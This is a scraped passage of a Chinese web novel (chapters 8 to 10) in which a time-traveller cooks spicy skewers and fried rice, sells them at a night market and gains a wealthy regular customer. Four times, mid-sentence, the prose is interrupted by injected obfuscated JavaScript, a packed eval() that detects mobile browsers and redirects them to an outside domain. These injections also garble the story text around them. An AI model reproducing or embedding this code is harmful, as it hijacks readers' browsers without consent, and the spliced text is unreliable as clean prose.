姜芝拿起箸子则夹起了一块肠，凑近用力一吸，或许因为手上不自觉的用力一挤，那股独特的油脂香混杂着辛料的辛香立马就冒了出来。 姜芝拿着箸挨个戳了一下，确认那猪肠和猪肺都可以被一下戳开，便确认卤制得算是差不多告一段落了。 * 最重要的肉食算是处理完毕，姜芝便开始筹备其他的。 胡萝卜穿两块一串；莴笋与黄瓜一长片一串；木耳估摸着量二到三片串一串，藕片也两块左右穿成一串，蘑菇刚才被切成一分为四，所以也差不多四块蘑菇斜着穿在一起。 至于肠子和猪肺，也同样切成一小块一小块，穿成了许多串。 做完这些，姜芝原地抹了把汗，然后将其再次焯了一遍水，便终于开始准备备调料了。 串串香的关键之味就在于此： 锅里油微热之时，先炒大酱，大酱炒开了以后，把花椒粒，一丁的丁香，还有方才已经拍碎了的葱姜蒜，共同倒入油锅之中，那油微微一煎，佐料的香味便已经从四面八方探出头来。 最关键的一步来了，古代不是说没有辣椒，但至少姜芝穿过来的朝代整体生产力如同唐宋之间，自然不存在有远探海外找辣椒之法，但山人自有妙计： 只见姜芝快冲冲地跑出灶房，来到了院子旁，摘了些小小的红果粒，然后拿手微微的碾碎，直接撒在锅中，一股呛人的辣味立马就出来了。 这是吴茱萸，一种可以代替辣椒的辛味，曾在汉朝就曾有所出现。它与辣椒的唯一的区别，就是它的辣味更烈，还更苦涩一些。不过，姜芝早就处理好了。花椒粒和姜同时用来中和茱萸，就不会使其苦涩难食。 在这些都被油炸的微微作响的时候，姜芝摆弄了下柴火，确认灶台下的火舌差不多只是轻轻的撩着锅底，方才拿起大铲子开始左右翻动起来。 就这么差不多翻动了一分钟，这红油也算是做好了。 在这时候，姜芝赶紧加了一瓢卤汤，让继续大火猛烧着，等汤汁的卤香味和上面的红油的辛香味，彻底融合在一起之时，这调味的红油拌料算是做好了。 此时正申时过半，太阳的余晖依然洒在大地上，灼着街边的道路滚烫。 姜芝试探了一下温度，然后决定再放凉些再拿出去摆摊，那眼下，便可以开始吃饭了。 她先是把刚才做好的红汤一股脑地向方才串好的串上浇了上去，一下子香味扑鼻。 * 外头， 方虎视眈眈打量着认真读书的小麻花的那两男的总算被这一股香味吹散了注意力。 游义这会儿也差不多缓过神来了，无所谓，不就是从“可爱妹妹”变成“天才妹妹”而已嘛， 他！才！不！在！意！呢！ 这会儿功夫，他瞥头，向着裴烨的方向道。 “来，猜猜姜姑娘今儿夜打算做些什么？” “哟，你怎么还在这儿？” 裴烨现在看到这家伙就烦，便冷声冷语斜了他一眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178975|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁料游义惯来像块甩不掉的牛皮糖，这话对他可没一点攻击力，甚至有点好兄弟与自己同时破防的快感，于是嬉皮笑脸的回答道。 “哼！人家姜姑娘跟我游某人可有缘了。你瞧，我妹被江姑娘这么一说，立马变天才！我呢，自然也要等姜姑娘的下一次垂怜啦！” “倒是裴二，不是兄弟说你，你哄人家是个穷书生这事儿方才最不厚道呢！” 游义说得倒是眉飞色舞起来。 可裴烨却被气的有些脸黑了下去，可他心里确实突兀的有了个小疙瘩： 他这样做，是不是…… 转瞬间，他又稍稍安抚好了自己。 他又不是故意的，他根本没找到说话的机会…… 游义见着自己这位好兄弟的面色变化，忍不禁的笑了起来，不过也没继续打击下去，只大步流星地向餐桌走去。 刚一开门，浓烈的辣香便刺激到他打了个大喷嚏。 “阿啾，姜姑娘，这煮的啥？这么……” “这能好吃嘛？” 原本听到游义这个快乐二哈的声音的时候，姜芝面上还微微带着笑，刚想开口之时，就被裴烨打断了。 他略显挑剔地拿起了一根串子，左右上下打量了一番上面挂着的胡萝卜以及不断往下滴的红油，道。 姜芝这下子心情不好了。 她懒懒地横了他一眼，在桌子上放下手里的小锅，然后便趁其不备地直接把他手上拿着的那一串儿往他嘴里塞。 裴烨还没反应过来，嘴里就塞了个这么东西，他下意识地舌尖卷了一下那略显清脆的胡萝卜。 然后， 像是喉咙间喷出了一团火似的，他脸霎时间红了，直红到耳朵尖的那种。 裴烨从未接触过如此之辣，这下子可有些糟了，他下意识地疯狂从嘴里咽唾沫下去，可唾沫依旧是辣的，使得他整个从口腔到消化道都如同火辣辣的灼烧了起来。 姜芝哼了一声，早有预料地递过去一杯水。 裴烨三下五除二地两口干掉，总算是缓解了些喉咙尖的火一样的灼烧，自行去倒了两碗水，喝完总算可以正常喘气了。 一旁全程瞧着自家兄弟反应的游义呆住了，他有些隐隐的畏惧，甚至敬畏地盯着那倘大一盆的菜。 盯了许久，他最终选择，默默的向后退了一步。 终于缓过来的裴烨一边小喘着气，一边也走了过来，沉默地盯住了这盘菜。 姜芝这才高兴起来。 她继续瘫在了她的竹椅上，懒洋洋的笑道。 “有本事再继续说？” 裴烨沉默，裴烨回想起那惊人的辣度与那惊人的味道，最终沉默地回答道。 “味道不错。” 此时的游义满脸的问号： 窥着裴二方才的表现，他差点以为姜姑娘是打算给裴二下点毒什么的，而今裴二又说好吃？那你刚才喝的那么多水算什么？ 姜芝懒洋洋地微微坐直起身子来，手上滴了一根串着猪肠的，看都没看，就只往嘴里塞。 8. 第 8 章 “第一次吃，难免吃不惯。但这个嘛，确实味道一绝。” 她一边嚼着猪肠，一边笑着说道。 姜芝也是头一次吃这种茱萸辣的食物。她眯起眼来细品了一番：比起辣椒那种纯粹的辣，茱萸与花椒，姜蒜混合出来的辣味倒不算纯粹，反而更多的是一股辛味。 至于那猪肠，初咬下去是嫩，再咬下去是韧，最后是弹，合着那股在嘴间灼烧的辣意，竟分外的美味！ 姜芝三下五除二的两口吃了个干净，又拿起一串来。 * 游义懵了。 他先瞧了瞧左边的裴二，明明方才已经辣的火冒三丈了，依然坚强不屈的将手伸向串子。 又瞧了瞧右边姜芝三两口吃干净了一个串子，甚至连脸都没红些。 这一下子，二哈也蒙了，他抓耳挠腮的犹豫着，试探着。 可忽然这时，他后面突然伸出了一只小手，丝丝滑滑地从他的腋下空闲处抓着一根签，然后一口塞到嘴巴里。 游义一回头，便看到小麻花已经开始嚼吧嚼吧着块蘑菇，满脸享受了。 他犹豫地拿起一块，放到嘴边来，最后咬了咬牙，把那块莴笋片一口咬去了大半。 游义当然吃过莴笋，实际上他对这种青色韧性蔬菜躯体其实是有点颇为不感冒的，这次挑起这一块来，不过只是因为他觉得蘸的红油较少罢了。 但当他一口下去时，人都惊呆了。 才咬下一口，舌尖先是涌过一阵咸香，然后火热的辣意串上心头，但不似裴烨方才的体感要喷火似的，游义的嘴中反而更像是咬破了许多在口里蹦哒的小火星，有点火辣辣的刺激与痛感。 但是还没等那痛感完全上来，切的极薄的莴笋片已经横在了这种辣意和舌尖之间，让人只觉得脆生生的清爽。 游义一口下去，砸吧了砸吧嘴，虽然感觉整个口腔温度似乎都上升了几度，但等整片莴笋都吞咽下去之后，竟还有些意犹未尽。 * 那边三人还是你不让我，我不让你的抢着签子。 这边姜芝已经早有预料地手上抓着一大把地吃着，边顺势微微扫了几眼：小麻花惯爱吃些蘑菇木耳之类，偶尔也会对黄瓜与藕下手。游义则是胡萝卜，莴笋片与黄瓜片的忠实信徒，盆里大半的这三样都是被他抢光的。 只有裴烨斯斯文文，括号也可能是吃不了那么辣的，只挑些猪肠猪肺，正吃得正香中。 姜芝心里也差不多有了个底数，她大概想好了，下午间在夜市怎么宣传了！ * 几人酒足饭饱之时，姜芝只稍微歇了片刻，便让在这吃饭的几人通通给她当劳力，陪她一同搬物件过去。 裴烨冷着脸，怀里抱着那上面遮着油纸的菜盆，时不时还喷嚏打个不停。游义则拿着姜芝方才收拾好的小桌，圆凳。姜芝自己也抱着个菜筐，里面装了五十余个钵钵。 这是刚才姜芝匆匆跑到街上买的，开口在现代同大小的盆与碟之间，也是四川的钵钵鸡的主要装材。 不过这次，姜芝可没打算再如上次的柠檬水一般，把这钵直接卖出去。 她后来才细算了一笔账，难怪上次柠檬水有那么多人拥上来挤上来抢，柠檬水本身风味就独特，再加上她这个傻老板当时还未想到割下脸面去把罐子挨个讨要回来。 买的人可不是就赚大了！ 一想到这，姜芝都忍不住叹了口气，深感自己刚穿越之时是不是把脑子也丢了？ 不过紧接着她又安慰起自己来。 反正她也没亏，不是吗？ 就这么一边想着，一边走着，不一会，又到了昨天的摊位。 姜芝又开始忙活起来，扫去地上的杂物，摆好桌子，最后把菜架在桌子上。 这一套下来，她摆放在桌子上的菜肴，比起其他席地摆放的货物，显得分外的干净整洁。 这也正是姜芝所想要的效果，她面颊带笑，双手撑着桌子，大声吆喝了起来。 “朋友们，哥哥姐姐叔叔阿姨们，今儿带来了超级好吃，超级香的拌菜！” 边说着，她边向众人示范了一下：拿起了一根穿着黄瓜的签子，放在脸侧用力一咬，黄瓜片便脱落了下来。 她边嚼吧着，边继续宣扬道。 “今儿带来的虽不似上次带来的冰饮那么冰爽，却也分外好吃！” 她嗓音清亮，不一会儿便吸引来了大帮围观者，其中不乏有前一天在这买过东西的。 大抵是前一日打过交道，人群中也有部分人敢跟这漂亮姑娘开玩笑了。 “姑娘，前日卖的那冰饮味道确实一绝！但怎么今天不卖了？” 姜芝照旧笑得落落大方，回道。 “前日的冰饮原料少了，不够做给各位尝尝。下次想喝冰饮的，想吃点别的的，都跟我说说，我隔天带来！” “诸位今儿先尝尝我这个，看看味道如何！” * 天已经蒙蒙有些发黑。 但如果从高处看，蜀城的西南角定还是灯火通明一片，那是官府明令的夜市所在之处。 此处的夜市临桥，夜间凉风一吹，雾半起半落，和着那夜市上各种茶摊食铺，分外令游人驻足。 离夜市不远处的一家鸟铺子里，一个英姿飒爽的姑娘正与身上停着的鹦鹉聊天。 就这么自娱自乐了一会后，顾元总算被鹦鹉逗乐了，她伸出手来，任由那鹦鹉停在肩膀处后方才大步流星地向着夜市的方向走去。 她和鹦鹉都饿了，得吃个夜宵！ 蜀城不算小，但奈何四面环山，实在没什么外人进出，所以此处的摊儿贩儿，顾元可老熟了—— 早市的王婆驴肉，还有那个时来时不来的小馄饨摊，夜市里的李婶甘水，还有那郑家鱼粉都是再好吃不过的。 越是想着，顾元更是忍不禁咽了口唾沫。 咦！在顾元左顾右盼的余光中，忽然有一处摊子前人山人海的，叫人连摊子里头都看的不甚清切。 她好奇地走了过去。 拨开里头拥堵的人流，顾元终于看到了摊子和摊主。那是一个从未见过的姑娘，穿着一身罗裙，却生的高挑纤细，竟和顾元这个从小梦想做女将军的高个子差不多高了。 此时，她正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178976|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑嘻嘻地一边招呼着有想法的客人，一边吆喝着。 “有唯爱辛味的朋友嘛，咱家今儿的菜绝对鲜辣，绝对爽口！” 顾元眼前一亮，她惯来重口味，最喜鲜辣。 可奈何家里的父辈最爱养生，天天蒸炒些没鸟味的菜，逼的她不得不常年在狐朋狗友家里混蹭饭吃。 憋到今儿，她瞧着那红旺旺的红油，还有那渐渐弥漫开来的冷辣味，都忍不住咽了口唾沫。 她忍不住冲出围观的人群，向着那老板大喊一句。 “给我挨个来一串！” * 此时，搬东西过来的裴游二人默默地坐在隔壁摊的一家馄饨摊上， 裴烨大口恶狠狠的一口一个小馄饨下去，活像是把方才抬眼看了他们一眼后嫌弃地让他们自己找个地方玩去的姜芝一口吞下。 中途，他还曾几番想鼓动同被嫌弃的游某人一起去讨个公道。 但很遗憾，他身边坐的是游义，一款知名的二哈式哥们儿。 此时此刻，游义正在快乐地，一口甘草凉粉，一口驴肉馍，一口小馄饨地进着食。 一直嘟囔了许久却一直得不到回应的裴烨再也忍不住了，他愤愤不平地一把拍了一下桌子，然后就得到了游义一个惊奇的眼神。 “裴二，咋的？今天吃的不至于把你憋疯了吧？” 游义微微眼神躲闪着这人的怒气冲冲，犹豫而又小心翼翼的问道。 却得到了裴烨更加火气大的眼神，他怒道： “我们俩一个提菜，一个提桌椅，把东西帮她搬了过来了。她竟敢嫌弃不要我们干活！小麻花都被他安排去记账了，偏偏我们要被她随便打发走！” 把心里话都说了出来后，裴烨顿时感觉神清气爽，但回头一看游义那脸色，脸又黑了下去，骂道。 “你那什么表情？便秘了？” “裴二，你这个是不是有点……” 游义犹豫了又犹豫，方才吞吞吐吐地说道。 “这，不要我们干活，不挺好的嘛！我们在这有吃有喝，夜风吹着，不挺爽的嘛？在那一坨，人挤人得很，或者在那儿递东西或是算账，大概率裴哥，你也不愿意呀！” 裴烨被这一说，手指尖揉了揉下颚，思索了片刻，面色又由阴转晴了。 可此时，随意一瞥那边拥挤的人流的游义却面色煞变，他胳膊肘推搡了下裴烨，等裴烨悠哉游哉的转过脑袋来，瞥眼望向他时， 他才小声道。 “你瞧那个……嗯，对，就是那个正站在姜姑娘摊前的那位，是不是有点像顾家那位？” 裴烨眯眼一瞧，嘴里自言自语的问了一句。 “她来做什么？” 然后又瞧着身后那人天塌了似的神色，冷笑地戳穿了游义强装着的镇定。 “别想了，就是她。她那只红鹦鹉，都早在整个蜀地闻名了。” 他又低下头来，三下五除二的吃完了剩下的吃食，便上下拍了拍手，向着顾元的方向走去。 毕竟，就算姓姜的不用他，假设顾元想找些什么麻烦，有他裴烨在，也没那么敢动手！ 9. 第 9 章 那边俩男疑神疑鬼。 这边两姑娘潇洒自如。 顾元是有点大姐大的性子，说其豪迈其实也就是有点不讲究。 当她喊出这一声的时候，周围人包括姜芝都被吓了一跳。 周围围着的那群人也是久闻这位惯爱耍刀的顾姑娘的性子，纷纷悄悄往后退了一步。 姜芝倒是反应快，一看旁边人那暗悄悄退了一步的动作，便心知来了个出名人物，便还是笑盈盈的迎了上去，双手间把每一串各抓了一个，然后微微压着签子递了上去。 顾元一接到手，绝不拖泥带水地便直接往嘴里送。 她先尝的是，那卤好又拌入红油的豕肠。 猪肠这东西，姜芝个人一直蛮喜欢的，因为一卤起来便入味儿，在裹上一层外面的红油，别提有多美味了！ 很显然，顾元吃下第一口后，也是这么想的。 先滴入她的嘴里的，是那裹挟在肠衣外头的红油。滴在了舌尖，有些火辣辣，还带着些许花椒的麻意，对于旁人来说，可能重了的味道，此时对于顾元却刚刚好。 她被这一滴滴下的红油瞬间激起了兴奋来。 紧接着，齿间夹着已经被卤的软糯，但又带着微微的韧的肠衣，卤汁的咸香从顾元齿尖咬破的口子中溢了出来，压下了方才那灼热在齿间的辣意，反而更交杂成了一种别开风味的滋味。 这一口下去，只道人间无味！ 姜芝瞧着这利索的姑娘被这一口惊得半张着嘴，笑着从一旁的桌子上倒了壶茶水过去。 示意她先喝口水。 顾元也没拒绝，仰头一口干净后，又接着把猪肺，胡萝卜，蘑菇，黄瓜与莴笋，她挨个各咬了一口，却越吃到后面越是惊叹。 分明汤汁都是同一股红油辣意，可偏生混杂入了每一种食材的不同味道，将这种辣意截然区分了开来。 两个字来形容就是，好吃！ 还来不及咽下去，顾元便已经大声喊道。 “老板，给我再各拿五串！” 边说着，边直接从袖子里掏出来个精致的钱袋一把丢了过去，撞在地上哐哐当当响个不停。 而小麻花默默的从姜芝背后走了出来，拾起了那钱袋，并挨个细细的数出了钱数后，认认真真的把那钱袋又塞到了顾元刚吃完还有些空闲的手上。 顾元这才瞧见小麻花，她轻咦了一声，头下意识的四处搜寻了一番，果不其然，看到了昂首挺胸向这边走来的裴烨，以及后面某一个躲在裴二阴影处畏畏缩缩的游某人。 她一边手上接着方才姜芝拿出来的串串，一边大跨步的走向前去，用力拍了拍裴烨的肩膀，大笑着说。 “哟！稀客呀，裴二……” “怎么，陪游老幺找他妹呢？” “诺，在那儿呢？” 她一边嚼着胡萝卜串，一边笑着昂了昂脑袋，给他们示意了一个方向。 裴烨嗤笑一声，顺手把还想在他背后遮蔽的游义一把掀了出来，懒洋洋的回答道。 “那小老板跟小麻花玩的好！小麻花自愿帮她数账的，日后你莫来常招惹人家摊子？” “哟，今儿这么护着！……” 顾元嘻笑着闹道。 一旁的游义总算是插了句嘴进去。 “元姐，你可不知，裴二他看似不在意，其实老护着这姜姑娘了！他居然有朝一日能让别人租他那独居的那宅子，他还跟我辩驳，说是担心小姑娘柔弱可怜！” “简直在放狗屁！他裴二什么时候是个惜香怜玉的性格？之前有姑娘跪倒他马前，他都能目不斜视地驾马而行……” “游义，你嘴巴是不是闭不上！” 正当游当兴高采烈地告状之时，旁边一道阴测测的声音悄然打断了他。 就在游义即将迎来一场暴打之时，旁边顾元倒时眼前一亮起来。 “等等，你刚才是说，这位姜姑娘是住在裴二家里？” “那就这么说定了：裴二，从明日起，记得在家里填个碗盘，我准点来吃！” * 这边，姜芝已经忙的不可开交了。 就刚才顾元那一架势，围观的众人也大多信了姜芝这东西的美味程度。 东边的小阿娘浅来了一串，然后被辣得直哈气。卖苦力的阿公精挑细选了一串最大的，嚼着有滋味有味的，面上表情，那是满意极了。 还有上一次来的带着面纱的姑娘，此时干脆放开了性子，连面纱都没带，蹦跳着挤到了姜芝面前，挑了些红油未沾到上太多的串，也津津有味的吃了起来。 与那几人聊完天的顾元也急忙冲进了人堆，再次丢下了钱袋，便抓起几根他最喜欢的黄瓜片，大口大口的嚼了起来。 越来越多的过路人也被这架势吸引了过来，介于素串的便宜，也不介意买上一串两串尝尝味。 不到两刻钟的时间，姜芝在外头摆放的圆凳已然坐满了人，她自己的摊位外也是人山人海的。 到了后面，姜芝的钵钵已经用的差不多了，后面的顾客只得横着串子品尝着。 但这仍然不妨碍排队的顾客愈发热情高涨。 三四刻钟的功夫，姜芝的那一大盆已然全部卖光。 没排到的顾客只得眼巴巴地瞧着姜芝那剩下来的一点红油，边与姜芝预订下一次的餐食。 姜芝一边笑着应着众人，一边将那各处的小圆凳，钵钵以及碗筷挨个收拾好。这才招呼着其他几个人，准备结束了今儿的摆摊。 可招呼过来的几人之间，怎么多出来一个人？ 还是那个开始吃的最起劲的姑娘！ * 那姑娘落落大方地向姜芝笑了一下，然后又毫不见外地捏了一把小麻花的脸，自我介绍道。 “你好呀，姜姑娘！” “本姑娘姓顾名元，在此问一下可否在你这日后蹭蹭饭？嗯，就像这个姓游的二傻子这样。” “本姑娘也不多占便宜，一顿饭我付一两银，就只有一个小问题，姜姑娘可否多做点辣菜给我？” 边说着，她边挠了挠头，有些不好意思的说道。 “因为，我惯来口味重一些，今天姜姑娘这串儿串儿简直是我活了这近20年来最符合口味的！” 姜芝被这直白的话语搞得一愣，随即又坦然的笑了起来。 虽然说她这次是让小麻花帮她收钱记账，可大概赚了多少，她还是心里有数的。 大概差不多2000多个铜币子，也就是2两白银左右。 可这位姑娘，居然说要给她日常做些菜，便可以一餐一两银。 这哪是姑娘呀？ 分明是财神爷！ 姜芝眸光一转，笑得露出了两排白牙。 “姑娘这请求，我当然应下了！不过，这早时买菜这事吗……” “我包了！” 顾元听到姜芝应下，立刻眉飞色舞的拍了拍胸膛，她还甚至还怕姜芝内疚，顺手解释了一句。 “姜姑娘别在意哈，我最大的梦想一直是去西北参兵，早上日常都会在外面锻炼的，带个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178977|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜而已，不碍事！” 一旁站着的裴烨和游义，一见姜芝那微微侧过来的眼神，立马也毫不犹豫的应下了买菜这活。 毕竟，瞧着姜芝那眼神，他们真敢不答应，日后怕全是辣菜了！ 况且，这事确实如顾元所说的一般，顺手的事罢了。 姜芝一看又减去一个负担，立马笑了起来，向那呆站在原地的三人道。 “今儿我开心，你们现在去买些菜，待会儿给你们做个夜宵吃！” 一边说着，姜芝边指挥起众人来： 裴烨，去那肉肆行买一些此时应当剩着的豕膘！ 游义，去买些零零散散的，如鸡蛋，香覃之类的。 而顾元，则跟姜芝一起，收整东西，一起把提回家中。 裴烨有些嘟嘟囔囔的不满，他平日里向来洁癖，那豕铺就是嫌少往那边路去。 谁料今儿还要去那边提一斤左右的豕膘，但他又舍不得姜芝的手艺。 只得委屈的黑着脸向着那边走去。 姜芝则在背地里偷偷的笑。 哼！谁叫这家伙时不时嘴毒还不给钱呢？就算开始他们两个商量好的姜芝可以随便用他的厨房，但姜芝还是有一个宏伟的梦想，比如说开一家小餐馆！ 而眼下，在顾元这个漂亮姐姐的资助下，姜芝真心觉得，这个梦想已经不远了！ * 在姜顾两人到家不久，菜很快就买齐了。 裴烨半举着手臂，试图把那还散发着味道的豕膘拿离自己的身子更远一些。 而一旁同路的游义一路上瞧着裴烨那姿势，已经无情的嘲笑着好兄弟一路了，笑得肚子都有些痛了。 姜芝看着这俩人，忍不住有些眉飞色舞起来，心里总算消了方才裴烨这人那张时不时毒死不偿命的嘴的气。 她大步迎了上去，一手接过豕膘，对着裴烨道。 “谢了裴哥！你就坐在那等吃饭就行了，剩下的，我来！” 姜芝拿到东西后，便大踏步地转身向灶房走去。 她有所不知，就在她身后，裴烨仍然保持着刚才那姿势，但脸却微微羞红了起来。 她今天叫我哥了！ 顿时间，裴烨一点也不觉得累了，他现在觉得他健康得可以上山打虎，下水捉龙了。 微微在裴烨侧后面一点的游义，已经快憋不住笑了。他甚至怀着一种诡异的悲悯之心，从后面拍了拍裴烨的肩膀，伴随着一声有点藏不住的偷笑。 不过此时的裴烨，正处于高兴之时，也懒得理会这家伙那欠扁的笑了。 这边姜芝手拿着豕膘，快步向灶房走去。那边裴烨虽然被要求着在餐桌上等饭吃，但仍旧闲不住的向着灶房的方向走去。 姜芝早已经想好了夜宵应该做什么，要她说，夜宵就应该吃点炒饭烧烤！ 当然，烧烤她嫌有点麻烦。 那干脆就做一个油渣炒饭就可以了！ 她先是挑了一把猪膘油切丁后下锅，先焯水。 等到锅里的猪膘油微微泛起肉色，她就快速的把它捞了起来，确定控干水后直接下了烧热的锅，就已经发出滋啦滋啦的作响声。 为了去除那种没阉割过的腥味儿，姜芝还特意做了点小处理： 比如在焯水过程中就要放切的长长一条的大姜片以及那切成了几段几段的葱段。 还有煎油出来的时候，她特意反复煎制多遍：她今儿可不是打算炼猪油的，她只打算取一点最后澄澈的油和那油渣子去做出一道香喷喷的炒饭。 10. 第 10 章 等豕膘的骚味终于被反复炸制所散尽，姜芝又把他们捞了出来。 只在锅里留了些底油，再在锅沿上磕两颗圆滚滚的鸡蛋，油滋啦滋啦的作响。 这会儿功夫，姜芝也在快速翻炒着，不一会儿，锅里便全是金黄的鸡蛋碎。姜芝又加了一勺，刚才在路上买的豆酱，再猛火一翻，顿时飘香。 但这还远远不够，姜芝又压小了些火候，加入了切碎的香覃，用铲子细细压了压锅底，让香覃，鸡蛋，猪油与刚才加入的那一勺大酱的香气顿时从锅里升了起来。 再猛火翻炒一番，多种的香味直熏的人直流口水。 奈何，这里只有个冷漠无情的姜厨师，只顾着一心翻炒。 油渣炒饭，说是炒饭，但实际上姜芝向来最爱做的是捞饭。 而这捞饭这一步，是除了前面处理油以外，最重要的一步。 姜芝做的饭并非前世袁爷爷传播开来的杂交稻米，在这个朝代，稻米虽称不上什么极其昂贵之物，但买起来还是要去专门的米肆去买的。裴烨自己又不常煮饭，就基本上家里没存这些。 为了便利些，姜芝只取了些顺路买来的黄米与小米混合在一起，然后在那边锅子里正烧着猪油之时，把这些杂米洗净淘米，最后开水下锅。 然后大概估摸着微微煮沸的程度，便把米捞了出来，倒入蒸锅里，等待它的上汽。 等到米饭煮好了以后，姜芝就双手拎着那大蒸锅，直接倒入了方才炒油渣，鸡蛋，香覃的锅里，使足了劲开始翻炒。 金灿灿的饭粒，那已经被煎的有些褐色的油渣，还有那被切的细细的香覃粒都被裹挟在锅里。 这么一炒，那香味立马就飘了出来，猪油香，香覃香还有那鸡蛋煸出来的香味，甚至那饭香都裹在一起。 这下子，姜芝总算是满意了，脸上浮现出点有些被香迷糊了的笑。 然后当她抬头一看的时候，三个溜圆的脑袋已经悄悄的从她身旁冒了出来。 哦，不，准确来讲是，三个大脑袋和一个矮脑袋。 “姜姑娘，你这做的啥？这么香！” 顾元如果说开始还是因为这姜姑娘实在做的一手辣菜而在裴烨家停步的话，那么此时，她是真真切切的馋了。 她悄悄的咽了口唾沫。 其他三个人虽然说在这短短的一天，早已经被姜芝的手艺震惊的有些习惯了，但此时已到了亥时，莫说本来吃辣就没太吃饱的裴烨，就连刚才还吃了些夜宵的游义都又有些饿了。 更别提刚才一直在干活的小麻花，此时正睁着她那双澄黑的眼睛，半捂着肚子，却依然没有捂住肚子传来的咕噜咕噜的声音。 姜芝噗嗤一声笑了出声来，揉了揉小麻花脑袋。 然后便给他们准备好了的碗挨个塞的满满当当，顺便给自己也盛了一大碗。 五个人干脆就这么围着灶台狼吞虎咽下去。 顾元本来在外头的时候还在思索着姜芝是不是忘记带点花椒进去了，正犹豫着，要不要提醒一下！ 可当炒饭带来的香味传出来的时候，她啥也不记得了，也如同其他人一般虎视眈眈的蹲在那灶台旁，还硬生生凭借自身武力抢到了姜芝盛出来的第一碗饭。 第一口下去，要不是嘴里塞满一大口，顾元都要忍不住大吼一声，“好吃死了！”。 饭粒中裹着明显的油脂香，在舌尖直接炸开。嚼吧嚼吧两下还可以吃到更加有滋有味的香覃，鸡蛋粒和油渣。 在其中，鸡蛋粒是偏咸的那种，一口下去不仅有着鸡蛋的口感，更多的是表面裹挟的大酱风味。香覃是最淡的，但由于其本身就具备着一种独特香味，嚼起来偏软，也别有一番风趣。 而那油渣是处于两者中间，但也是顾元最喜欢的，比起咸，它一口嚼下去只让人会觉得肉香味十足，还有些清脆的嘎嘣响。丁点大的油渣，散落在整碗炒饭中，犹如一粒粒小惊喜，不断地被人发现。 姜芝吃着这碗还带着锅气的炒饭，也幸福地眯起了眼。 姜芝前世就惯爱在疲惫之时吃碗碳水，吃完以后感觉整个人的负担都卸了不少。 此番穿越于这个从未了解过的时代，姜芝看上去嬉笑打闹间也算是应有尽有，实际上她整个人像是在如履薄冰，她目前不敢败一步，一步怎么可能让她跌入深渊。 所以，姜芝步步为营。 姜芝又不是傻子，多少也有些猜测到了房东有别样的身份，但那又如何，她能利用到的关系网她迟早会自己编出来的。 要时侯，谁敢哄她骗她，哼…… 姜芝一边懒散地坐在竹椅上吃着饭，一边心里再不复之前的热情，心里冷淡至极的想着。 但她有所不知，一旁裴烨正埋头吃着饭，无意间看到那如猫般慵懒的女孩，也一时间怔住了，连那不断往鼻子里钻的香味儿都没顾上。 * 这边，吃完后，众人挨个拉那丝瓜瓢涮碗，除此之外，姜芝还得把方才收回来的30多个钵钵一同涮干净。 一想到这，姜芝简直是眼前一黑。 当然，她不会想到，今天居然还能有更眼前一黑的时候。 她豆芽在出去之前只负责了“泡豆子”这一步，现在，泡的时长也差不多了。 也就意思是，目前已是现代的10点多，但是他目前的工作量仍有：一，刷干净20个钵钵。二，发豆芽。三，把自己的碗洗干净的同时，还要把所有人的碗筷放入橱柜。 姜芝难得有些眼神呆滞的无望。 她努力深呼了一口气，振作了起来。 终于，在子时的打更人已经准备走出巷子的时候，姜芝已经疲惫地躺上了床。 她刚才已经把豆芽发好了：她找了一个被旁人丢弃的木桶子，那底下坑坑洼洼的刚好试做豆芽仪器。 紧接着又把方才泡好的豆子稍微去掉些坏豆后，在已经放好了一层纱布的木桶子里铺成薄薄的一层，然后又微微洒了点水，就算大功告成了。 趁着躺在床上的工夫，姜芝又细细想了一会之后的发展路线，左右盘算了一番后，总算进入了黑甜的梦乡。 * 晨时，窗外探头的草木上面滴下来的露珠滴答，滴答的滴在姜芝昨夜放在那儿的宣纸上，润湿了一大片。 穿着一袭红裙的姜芝从窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178978|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走过之时，顺手把那未关好的窗子关好。 